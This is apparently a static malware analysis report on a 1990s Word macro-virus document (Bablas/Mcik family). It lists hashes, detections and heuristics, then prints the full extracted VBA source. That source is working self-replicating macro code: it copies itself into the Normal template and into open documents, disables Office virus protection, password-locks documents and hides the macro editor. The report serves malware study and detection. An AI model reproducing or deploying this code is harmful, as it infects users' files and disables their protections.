Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e630bf3860c9c82…

MALICIOUS

Office (OLE)

36.5 KB Created: 1997-01-30 14:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fc21b9673bb4365ea65e8a214cdae396 SHA-1: 1eae5e47d3cdc8772c02ba4eb4a8767e348bbf32 SHA-256: 1e630bf3860c9c82fe948b5d3911467ce073caf40003fc7e3f3f00c634d420de
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are indicative of malicious intent. The 'Bablas' macro explicitly mentions virus creation and attempts to disable virus protection. The ClamAV detections further support its malicious nature.

Heuristics 6

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5640 bytes
SHA-256: fbf0ee9549e53ea3645f7015151507f0b7de5d32e7cfcbdd655a401ab9f73b7c
Detection
ClamAV: Doc.Trojan.Bablas-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Mcik"
Sub Alert()
    If Month(Now()) = 7 Then
    Assistant.Visible = True
    With Assistant.NewBalloon
         .Icon = msoIconAlert
         .Text = "Happy birthday to...bieB"
         .Heading = "My heart to You"
         .Show
    End With
    ElseIf Month(Now()) = 11 Then
    Assistant.Visible = True
    With Assistant.NewBalloon
         .Icon = msoIconAlert
         .Text = "Congratulate for your Virus & Make Viruses Again & more destroyed"
         .Heading = "Happy birthday to..Macik"
         .Show
    End With
    End If
    End Sub
    Sub Alert1()
    If (WeekDay(Date) = vbFriday) And Time < TimeValue("11:59:59") Then
    Assistant.Visible = True
    With Assistant.NewBalloon
         .Icon = msoIconAlert
         .Text = " SHOLAT DULU YAAAA.."
         .Heading = "Sorry MCIK Lagi"
         .Show
    End With
    End If
    End Sub
Sub ShowMessage()
    If (WeekDay(Date) = vbFriday) And Time > TimeValue("11:00:00") And Time < TimeValue("11:59:59") Then
    If ActiveDocument.HasPassword = False Then
       ActiveDocument.Password = "bieB"
    End If
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Sorry Agak Mengganggu", vbOKOnly + vbExclamation, "Macik")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("Microsoft Office Error.", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Salam dari Author....." & Chr(13) & Chr(13) & _
    "Bagi para Hacker atau yang sok Hacker!" & Chr(13) & _
    "di Yogya atau dimana aja, Anda boleh" & Chr(13) & _
    "Modifikasi ini Virus, Tapi jangan Asal" & Chr(13) & _
    "Nampang (jangan Malu-Maluin), Oke...!", vbOKOnly + vbExclamation, "Macik")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = ".."
    ActiveWindow.Caption = "Mcik"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password") = "Mcik" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "Mcik" Then DocOk = True
        If Obj.Name <> "Mcik" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="Mcik", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "Mcik" Then NorOk = True
        If Obj.Name <> "Mcik" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="Mcik", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    Alert1
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    SikatDocument
    ShowMessage
End Sub

Sub FileClose()
    SikatDocument
    Alert
    ActiveDocument.Close
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        Normal.Mcik.SikatDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:10"), "Normal.Mcik.Ancurin"
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Bablas
    Application.OnTime Now + TimeValue("00:00:10"), "Normal.Mcik.Ancurin"
End Sub

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